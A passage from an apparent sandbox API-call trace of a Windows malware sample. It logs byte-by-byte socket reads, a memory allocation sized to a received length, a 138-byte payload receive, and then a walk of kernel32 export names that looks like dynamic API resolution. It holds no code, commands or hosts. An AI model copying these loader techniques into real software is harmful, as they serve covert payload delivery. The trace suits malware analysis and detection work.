buf=0x2e7f8ae*) returned 1 [0101.764] recv (in: s=0x544, buf=0x2e7f8af, len=1, flags=0 | out: buf=0x2e7f8af*) returned 1 [0101.765] recv (in: s=0x544, buf=0x2e7f8b0, len=1, flags=0 | out: buf=0x2e7f8b0*) returned 1 [0101.765] recv (in: s=0x544, buf=0x2e7f8b1, len=1, flags=0 | out: buf=0x2e7f8b1*) returned 1 [0101.765] recv (in: s=0x544, buf=0x2e7f8b2, len=1, flags=0 | out: buf=0x2e7f8b2*) returned 1 [0101.765] recv (in: s=0x544, buf=0x2e7f8b3, len=1, flags=0 | out: buf=0x2e7f8b3*) returned 1 [0101.765] recv (in: s=0x544, buf=0x2e7f8b4, len=1, flags=0 | out: buf=0x2e7f8b4*) returned 1 [0101.765] recv (in: s=0x544, buf=0x2e7f8b5, len=1, flags=0 | out: buf=0x2e7f8b5*) returned 1 [0101.765] recv (in: s=0x544, buf=0x2e7f8b6, len=1, flags=0 | out: buf=0x2e7f8b6*) returned 1 [0101.765] recv (in: s=0x544, buf=0x2e7f8b7, len=1, flags=0 | out: buf=0x2e7f8b7*) returned 1 [0101.765] recv (in: s=0x544, buf=0x2e7f8b8, len=1, flags=0 | out: buf=0x2e7f8b8*) returned 1 [0101.765] recv (in: s=0x544, buf=0x2e7f8b9, len=1, flags=0 | out: buf=0x2e7f8b9*) returned 1 [0101.765] recv (in: s=0x544, buf=0x2e7f8ba, len=1, flags=0 | out: buf=0x2e7f8ba*) returned 1 [0101.766] recv (in: s=0x544, buf=0x2e7f8bb, len=1, flags=0 | out: buf=0x2e7f8bb*) returned 1 [0101.766] recv (in: s=0x544, buf=0x2e7f8bc, len=1, flags=0 | out: buf=0x2e7f8bc*) returned 1 [0101.766] recv (in: s=0x544, buf=0x2e7f8bd, len=1, flags=0 | out: buf=0x2e7f8bd*) returned 1 [0101.766] recv (in: s=0x544, buf=0x2e7f8be, len=1, flags=0 | out: buf=0x2e7f8be*) returned 1 [0101.766] recv (in: s=0x544, buf=0x2e7f8bf, len=1, flags=0 | out: buf=0x2e7f8bf*) returned 1 [0101.766] recv (in: s=0x544, buf=0x2e7f8c0, len=1, flags=0 | out: buf=0x2e7f8c0*) returned 1 [0101.766] recv (in: s=0x544, buf=0x2e7f8c1, len=1, flags=0 | out: buf=0x2e7f8c1*) returned 1 [0101.766] recv (in: s=0x544, buf=0x2e7f8c2, len=1, flags=0 | out: buf=0x2e7f8c2*) returned 1 [0101.766] recv (in: s=0x544, buf=0x2e7f8c3, len=1, flags=0 | out: buf=0x2e7f8c3*) returned 1 [0101.766] recv (in: s=0x544, buf=0x2e7f8c4, len=1, flags=0 | out: buf=0x2e7f8c4*) returned 1 [0101.766] recv (in: s=0x544, buf=0x2e7f8c5, len=1, flags=0 | out: buf=0x2e7f8c5*) returned 1 [0101.766] recv (in: s=0x544, buf=0x2e7f8c6, len=1, flags=0 | out: buf=0x2e7f8c6*) returned 1 [0101.766] recv (in: s=0x544, buf=0x2e7f8c7, len=1, flags=0 | out: buf=0x2e7f8c7*) returned 1 [0101.767] recv (in: s=0x544, buf=0x2e7f8c8, len=1, flags=0 | out: buf=0x2e7f8c8*) returned 1 [0101.767] recv (in: s=0x544, buf=0x2e7f8c9, len=1, flags=0 | out: buf=0x2e7f8c9*) returned 1 [0101.767] recv (in: s=0x544, buf=0x2e7f8ca, len=1, flags=0 | out: buf=0x2e7f8ca*) returned 1 [0101.767] recv (in: s=0x544, buf=0x2e7f8cb, len=1, flags=0 | out: buf=0x2e7f8cb*) returned 1 [0101.767] recv (in: s=0x544, buf=0x2e7f8cc, len=1, flags=0 | out: buf=0x2e7f8cc*) returned 1 [0101.767] recv (in: s=0x544, buf=0x2e7f8cd, len=1, flags=0 | out: buf=0x2e7f8cd*) returned 1 [0101.767] recv (in: s=0x544, buf=0x2e7f8ce, len=1, flags=0 | out: buf=0x2e7f8ce*) returned 1 [0101.767] recv (in: s=0x544, buf=0x2e7f8cf, len=1, flags=0 | out: buf=0x2e7f8cf*) returned 1 [0101.767] recv (in: s=0x544, buf=0x2e7f8d0, len=1, flags=0 | out: buf=0x2e7f8d0*) returned 1 [0101.767] recv (in: s=0x544, buf=0x2e7f8d1, len=1, flags=0 | out: buf=0x2e7f8d1*) returned 1 [0101.767] recv (in: s=0x544, buf=0x2e7f8d2, len=1, flags=0 | out: buf=0x2e7f8d2*) returned 1 [0101.767] recv (in: s=0x544, buf=0x2e7f8d3, len=1, flags=0 | out: buf=0x2e7f8d3*) returned 1 [0101.767] recv (in: s=0x544, buf=0x2e7f8d4, len=1, flags=0 | out: buf=0x2e7f8d4*) returned 1 [0101.767] recv (in: s=0x544, buf=0x2e7f8d5, len=1, flags=0 | out: buf=0x2e7f8d5*) returned 1 [0101.768] recv (in: s=0x544, buf=0x2e7f8d6, len=1, flags=0 | out: buf=0x2e7f8d6*) returned 1 [0101.768] recv (in: s=0x544, buf=0x2e7f8d7, len=1, flags=0 | out: buf=0x2e7f8d7*) returned 1 [0101.768] recv (in: s=0x544, buf=0x2e7f8d8, len=1, flags=0 | out: buf=0x2e7f8d8*) returned 1 [0101.768] recv (in: s=0x544, buf=0x2e7f8d9, len=1, flags=0 | out: buf=0x2e7f8d9*) returned 1 [0101.768] recv (in: s=0x544, buf=0x2e7f8da, len=1, flags=0 | out: buf=0x2e7f8da*) returned 1 [0101.768] recv (in: s=0x544, buf=0x2e7f8db, len=1, flags=0 | out: buf=0x2e7f8db*) returned 1 [0101.768] recv (in: s=0x544, buf=0x2e7f8dc, len=1, flags=0 | out: buf=0x2e7f8dc*) returned 1 [0101.768] recv (in: s=0x544, buf=0x2e7f8dd, len=1, flags=0 | out: buf=0x2e7f8dd*) returned 1 [0101.768] recv (in: s=0x544, buf=0x2e7f8de, len=1, flags=0 | out: buf=0x2e7f8de*) returned 1 [0101.768] recv (in: s=0x544, buf=0x2e7f8df, len=1, flags=0 | out: buf=0x2e7f8df*) returned 1 [0101.768] recv (in: s=0x544, buf=0x2e7f8e0, len=1, flags=0 | out: buf=0x2e7f8e0*) returned 1 [0101.768] recv (in: s=0x544, buf=0x2e7f8e1, len=1, flags=0 | out: buf=0x2e7f8e1*) returned 1 [0101.768] recv (in: s=0x544, buf=0x2e7f8e2, len=1, flags=0 | out: buf=0x2e7f8e2*) returned 1 [0101.768] recv (in: s=0x544, buf=0x2e7f8e3, len=1, flags=0 | out: buf=0x2e7f8e3*) returned 1 [0101.769] recv (in: s=0x544, buf=0x2e7f8e4, len=1, flags=0 | out: buf=0x2e7f8e4*) returned 1 [0101.769] recv (in: s=0x544, buf=0x2e7f8e5, len=1, flags=0 | out: buf=0x2e7f8e5*) returned 1 [0101.769] recv (in: s=0x544, buf=0x2e7f8e6, len=1, flags=0 | out: buf=0x2e7f8e6*) returned 1 [0101.769] recv (in: s=0x544, buf=0x2e7f8e7, len=1, flags=0 | out: buf=0x2e7f8e7*) returned 1 [0101.769] recv (in: s=0x544, buf=0x2e7f8e8, len=1, flags=0 | out: buf=0x2e7f8e8*) returned 1 [0101.769] recv (in: s=0x544, buf=0x2e7f8e9, len=1, flags=0 | out: buf=0x2e7f8e9*) returned 1 [0101.769] recv (in: s=0x544, buf=0x2e7f8ea, len=1, flags=0 | out: buf=0x2e7f8ea*) returned 1 [0101.769] recv (in: s=0x544, buf=0x2e7f8eb, len=1, flags=0 | out: buf=0x2e7f8eb*) returned 1 [0101.769] recv (in: s=0x544, buf=0x2e7f8ec, len=1, flags=0 | out: buf=0x2e7f8ec*) returned 1 [0101.769] recv (in: s=0x544, buf=0x2e7f8ed, len=1, flags=0 | out: buf=0x2e7f8ed*) returned 1 [0101.769] recv (in: s=0x544, buf=0x2e7f8ee, len=1, flags=0 | out: buf=0x2e7f8ee*) returned 1 [0101.769] recv (in: s=0x544, buf=0x2e7f8ef, len=1, flags=0 | out: buf=0x2e7f8ef*) returned 1 [0101.770] recv (in: s=0x544, buf=0x2e7f8f0, len=1, flags=0 | out: buf=0x2e7f8f0*) returned 1 [0101.770] recv (in: s=0x544, buf=0x2e7f8f1, len=1, flags=0 | out: buf=0x2e7f8f1*) returned 1 [0101.770] recv (in: s=0x544, buf=0x2e7f8f2, len=1, flags=0 | out: buf=0x2e7f8f2*) returned 1 [0101.770] recv (in: s=0x544, buf=0x2e7f8f3, len=1, flags=0 | out: buf=0x2e7f8f3*) returned 1 [0101.770] recv (in: s=0x544, buf=0x2e7f8f4, len=1, flags=0 | out: buf=0x2e7f8f4*) returned 1 [0101.770] recv (in: s=0x544, buf=0x2e7f8f5, len=1, flags=0 | out: buf=0x2e7f8f5*) returned 1 [0101.770] recv (in: s=0x544, buf=0x2e7f8f6, len=1, flags=0 | out: buf=0x2e7f8f6*) returned 1 [0101.770] recv (in: s=0x544, buf=0x2e7f8f7, len=1, flags=0 | out: buf=0x2e7f8f7*) returned 1 [0101.770] recv (in: s=0x544, buf=0x2e7f8f8, len=1, flags=0 | out: buf=0x2e7f8f8*) returned 1 [0101.770] recv (in: s=0x544, buf=0x2e7f8f9, len=1, flags=0 | out: buf=0x2e7f8f9*) returned 1 [0101.770] recv (in: s=0x544, buf=0x2e7f8fa, len=1, flags=0 | out: buf=0x2e7f8fa*) returned 1 [0101.770] recv (in: s=0x544, buf=0x2e7f8fb, len=1, flags=0 | out: buf=0x2e7f8fb*) returned 1 [0101.770] StrToIntA (lpSrc="138") returned 138 [0101.770] VirtualAlloc (lpAddress=0x0, dwSize=0x8a, flAllocationType=0x3000, flProtect=0x4) returned 0x3b90000 [0101.771] recv (in: s=0x544, buf=0x3b90000, len=138, flags=0 | out: buf=0x3b90000*) returned 138 [0101.771] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.772] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.772] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.772] closesocket (s=0x544) returned 0 [0101.772] WSACleanup () returned 0 [0101.772] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.773] VirtualFree (lpAddress=0x30b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.773] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.773] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.773] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.774] lstrlenA (lpString="kernel32.dll") returned 12 [0101.774] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.774] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0101.774] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0101.774] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0101.774] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0101.774] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0101.774] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0101.774] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0101.774] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0101.774] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0101.774] lstrlenA (lpString="ADDATOMA") returned 8 [0101.774] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0101.774] lstrlenA (lpString="ADDATOMW") returned 8 [0101.774] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0101.774] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0101.774] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0101.774] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0101.774] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0101.774] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0101.774] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0101.774] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0101.774] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0101.774] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0101.774] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0101.774] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0101.774] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0101.775] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0101.775] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0101.775] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0101.775] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0101.775] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0101.775] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0101.775] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0101.775] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0101.775] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0101.775] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0101.775] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0101.775] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0101.775] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0101.775] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0101.775] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0101.775] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0101.775] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0101.775] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0101.775] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0101.776] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0101.776] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0101.776] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0101.776] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0101.776] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0101.776] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0101.776] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0101.776] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0101.776] lstrlenA (lpString="BACKUPREAD") returned 10 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0101.776] lstrlenA (lpString="BACKUPSEEK") returned 10 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0101.776] lstrlenA (lpString="BACKUPWRITE") returned 11 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0101.776] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0101.776] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0101.776] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0101.776] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0101.776] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0101.776] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0101.776] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0101.776] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0101.777] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0101.777] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0101.777] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0101.777] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0101.777] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0101.777] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0101.777] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0101.777] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0101.777] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0101.777] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0101.777] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0101.777] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0101.777] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0101.777] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0101.777] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0101.777] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0101.777] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0101.778] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0101.778] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0101.778] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0101.778] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0101.778] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0101.778] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0101.778] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0101.778] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0101.778] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" 